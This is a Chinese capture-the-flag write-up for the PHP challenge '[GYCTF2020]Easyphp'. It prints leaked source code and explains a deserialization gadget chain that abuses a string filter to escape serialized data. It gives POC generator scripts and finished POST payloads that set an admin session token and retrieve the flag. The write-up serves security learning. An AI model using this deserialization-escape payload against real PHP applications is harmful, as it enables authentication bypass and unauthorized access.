[GYCTF2020]Easyphp

前言

知识点:

  • www.zip源码泄露
  • PHP反序列化链POC
  • 代码审计

WP

进入环境,题目是easyphp我就感觉要审源码。。。试了一下常见的泄露,发现存在www.zip。把代码下载下来进行一下审计,发现update.php和lib.php可以利用:

<?php
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
            echo "ok";
            $mysqli=new dbCtrl();
            $this->id=$mysqli->login('select id,password from user where username=?');
            if($this->id){
            $_SESSION['id']=$this->id;
            $_SESSION['login']=1;
            echo "你的ID是".$_SESSION['id'];
            echo "你好!".$_SESSION['token'];
            echo "<script>window.location.href='./update.php'</script>";
            return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        //print_r($Info);
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        //var_dump($this->sql);
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

update.php
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
	echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}

?>

update.php那里只是输出你没登录,接下来的代码还会执行。update()方法中会进行反序列化。
[GYCTF2020]Easyphp
简单的理一下POC的思路。本以为是利用User类的__construct方法来读flag.php,但是发现safe()过滤了flag和\,因此会被过滤,无法读取。
但是UpdateHelper类中也有一个__destruct()方法,会echo。
[GYCTF2020]Easyphp
正好User类存在__toString()方法:
[GYCTF2020]Easyphp
再利用$this->nickname->update()去触发Info类的__call()
[GYCTF2020]Easyphp
这样就可以调用一个login方法。但是怎么得flag?
lib.php中有2个login方法,User类得login方法可以让$_SESSION['login']=1,但是必须返回了id:
[GYCTF2020]Easyphp
跟进一下第16行得login方法,看一下逻辑:
[GYCTF2020]Easyphp
想要正常返回$idResult,要么$this->token=='admin',要么就是查对了用户名和密码才可以。

这时候便很自然得可以想到思路了,因为反序列化得时候除了User类中login的这里不可控,其他基本都是可控的。:
[GYCTF2020]Easyphp

也就是说,要分2次。第一次反序列化最终调用的是dbCtrl类的login,因为这里的sql语句和dbCtrl都可控,因此可以成功的$_SESSION['token']=$this->name;。控一下name,让它是admin。
第二次反序列化最终调用User类的login方法。因为这里:
[GYCTF2020]Easyphp
所以这时候$this->token='admin',即这里满足,可以成功查到id:
[GYCTF2020]Easyphp
这样可以$_SESSION['login']=1;
[GYCTF2020]Easyphp
得到flag:
[GYCTF2020]Easyphp

接下来就要想办法构造POC了,先是第一次反序列化:

<?php
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct()
    {
        $this->age = "1";
        $this->nickname = "2";
        $this->CtrlCase=new dbCtrl();
        //$this->CtrlCase=new User();
    }
}
class User
{
    public $id="1";
    public $age;
    public $nickname;
    public function __construct()
    {
        $this->age='select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
        $this->nickname=new Info();
        //$this->nickname->CtrlCase=new User();
    }
}
Class UpdateHelper{
    public $sql;
}

class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name="admin";
    public $password="1";
    public $mysqli;
    public $token;
    public $feng;
    public function __construct()
    {
        $this->feng=new UpdateHelper();
        //$this->token="admin";
    }
}
$a=new Info();
//$a->CtrlCase=new dbCtrl();
$a->CtrlCase->feng->sql=new User();
//$a->CtrlCase->feng->sql->nickname->CtrlCase=new User();
//var_dump($a->CtrlCase->feng->sql->nickname);
//var_dump($a);
echo serialize($a);

需要注意之所以new UpdateHelper()没有写在Info类中,而是写在$this->CtrlCase中,是因为这里:

    public function update(){
        $Info=unserialize($this->getNewinfo());
        //print_r($Info);
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }

如果$this->age或者$this->nickname设成UpdateHelper的话,会因为把类对象当成字符产而报错。
产生的payload是这样:

O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";N;}}}}}}}

通过反序列化字符逃逸,得到这样:

O:4:"Info":3:{s:3:"age";s:901:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";N;}}}}}}}";s:8:"nickname";N;s:8:"CtrlCase";N;}

post传参:

age=''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunionload1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";N;}}}}}}}

第二次反序列化就同理了:

<?php
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct()
    {
        $this->age = "1";
        $this->nickname = "2";
        //$this->CtrlCase=new dbCtrl();
        //$this->CtrlCase=new User();
    }
}
class User
{
    public $id="1";
    public $age;
    public $nickname;
    public function __construct()
    {
        $this->age='select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
        $this->nickname=new Info();
        //$this->nickname->CtrlCase=new User();
    }
}
Class UpdateHelper{
    public $sql;
}

class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name="admin";
    public $password="1";
    public $mysqli;
    public $token;
    public $feng;
    public function __construct()
    {
        $this->feng=new UpdateHelper();
        //$this->token="admin";
    }
}
$a=new Info();
$a->CtrlCase=new dbCtrl();
$a->CtrlCase->feng->sql=new User();
$a->CtrlCase->feng->sql->nickname->CtrlCase=new User();
//var_dump($a->CtrlCase->feng->sql->nickname);
//var_dump($a);
echo serialize($a);
age=''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunionunionunionunionunionunionunionload1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";N;}}}}}}}&username=admin&password=1

最终成功得到flag:
[GYCTF2020]Easyphp

上一篇:curl


下一篇:微信小程序组件生命周期